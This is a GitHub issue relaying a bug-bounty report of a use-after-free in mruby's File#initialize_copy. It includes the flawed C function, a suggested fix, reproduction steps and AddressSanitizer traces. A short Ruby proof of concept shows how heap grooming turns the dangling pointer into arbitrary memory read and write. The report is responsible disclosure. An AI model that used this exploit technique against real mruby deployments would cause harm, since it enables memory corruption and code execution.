Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use after free in File#initilialize_copy #4001

Closed
clayton-shopify opened this issue Apr 16, 2018 · 0 comments
Closed

Use after free in File#initilialize_copy #4001

clayton-shopify opened this issue Apr 16, 2018 · 0 comments

Comments

@clayton-shopify
Copy link
Contributor

The following was reported by https://hackerone.com/pnoltof:


Root Cause:

calling File#initilialize_copy with an invalid argument, causes the function to terminate early, leaving a dangling pointer in the recievers DATA_PTR.

mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
{
  mrb_value orig;
  mrb_value buf;
  struct mrb_io *fptr_copy;
  struct mrb_io *fptr_orig;
  mrb_bool failed = TRUE;

  mrb_get_args(mrb, "o", &orig);
  fptr_copy = (struct mrb_io *)DATA_PTR(copy);
  if (fptr_copy != NULL) {
    fptr_finalize(mrb, fptr_copy, FALSE);
    mrb_free(mrb, fptr_copy);
  }
  fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
  fptr_orig = io_get_open_fptr(mrb, orig); #can raise exception

  DATA_TYPE(copy) = &mrb_io_type;
  DATA_PTR(copy) = fptr_copy;
	[....]
}

Details & Impact

initialize_copy first frees the DATA_PTR(self), then it gets the data pointer for the first argument. This operation can raise an exception, in which case DATA_PTR(self) remains dangeling. By proper heap feng shui, one can allocate another value (such as string) in the same spot. Calling a.close() will set DATA_PTR(a)->fd = -1, effectively setting some memory to 0xffffffff. This can be used to change the size of a string object. The corrupted string can then be used to read/write memory. This can be used to obtain arbitrary code execution.

a = File.new(0)
#needs proper heap massaging for reallocation
a.initialize_copy(0) # DATA_PTR(a) is now pointing to free'd memory
#allocate string at old position
str = "foo".gsub("o","asdfasdf")
a.close() #overwrites offset 0 on DATA_PTR(a) with ffffffff
#str length is now 0xfffffffff, we can read/write arbitrary memory

Bugfix

Move fptr_orig = io_get_open_fptr(mrb, orig); to the top of the function (next to mrb_get_args(mrb, "o", &orig);).

Steps to Reproduce

obtain current mruby version

git clone https://github.com/mruby/mruby.git
git checkout fabc460880fbabd18369a
CC=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" LD=clang make

run testcase

$ ASAN_OPTIONS=halt_on_error=false:allow_addr2line=true:allocator_may_return_null=1  ./bin/mruby ../uaf_file.rb 

trace (most recent call last):
	[0] ../uaf_file.rb:3
../uaf_file.rb:3: wrong argument type Fixnum (expected Data) (TypeError)
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
    #0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650

SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
  0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
  0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
  0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

	[...] #various reads

=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed77f bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
WRITE of size 4 at 0x602000019890 thread T0
    #0 0x6ed77e in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664
    #1 0x6e7a14 in mrb_io_free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:260
    #2 0x5e4f4f in obj_free /home/me/grammarfuzz/mruby/src/gc.c:841
    #3 0x5e43e1 in free_heap /home/me/grammarfuzz/mruby/src/gc.c:391
    #4 0x5e4ffc in mrb_gc_destroy /home/me/grammarfuzz/mruby/src/gc.c:400
    #5 0x537203 in mrb_close /home/me/grammarfuzz/mruby/src/state.c:263
    #6 0x4eda6a in cleanup /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:165
    #7 0x4ec79d in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:251
    #8 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #9 0x419a18 in _start (/home/me/grammarfuzz/mruby/bin/mruby+0x419a18)

0x602000019890 is located 0 bytes inside of 16-byte region [0x602000019890,0x6020000198a0)
freed by thread T0 here:
    #0 0x4b99c0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o
    #1 0x53501b in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:51
    #2 0x5e3ce7 in mrb_free /home/me/grammarfuzz/mruby/src/gc.c:274
    #3 0x6ec52f in mrb_io_initialize_copy /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:567
    #4 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
    #5 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #6 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
    #7 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
    #8 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
    #9 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
    #10 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 here:
    #0 0x4b9ec8 in realloc (/home/me/grammarfuzz/mruby/bin/mruby+0x4b9ec8)
    #1 0x535035 in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:55
    #2 0x5e2b16 in mrb_realloc_simple /home/me/grammarfuzz/mruby/src/gc.c:206
    #3 0x5e31f4 in mrb_realloc /home/me/grammarfuzz/mruby/src/gc.c:220
    #4 0x5e3b83 in mrb_malloc /home/me/grammarfuzz/mruby/src/gc.c:242
    #5 0x6ebf6e in mrb_io_alloc /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:270
    #6 0x6eeb57 in mrb_io_initialize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:629
    #7 0x510a2d in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1675
    #8 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #9 0x4f661f in mrb_run /home/me/grammarfuzz/mruby/src/vm.c:2988
    #10 0x4f43d9 in mrb_funcall_with_block /home/me/grammarfuzz/mruby/src/vm.c:505
    #11 0x6949ad in mrb_instance_new /home/me/grammarfuzz/mruby/src/class.c:1595
    #12 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
    #13 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
    #14 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
    #15 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
    #16 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
    #17 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
    #18 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664 in fptr_finalize
Shadow bytes around the buggy address:
  0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
  0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
  0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019894 at pc 0x0000006ed7ea bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019894 thread T0
[....]

Authors:
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant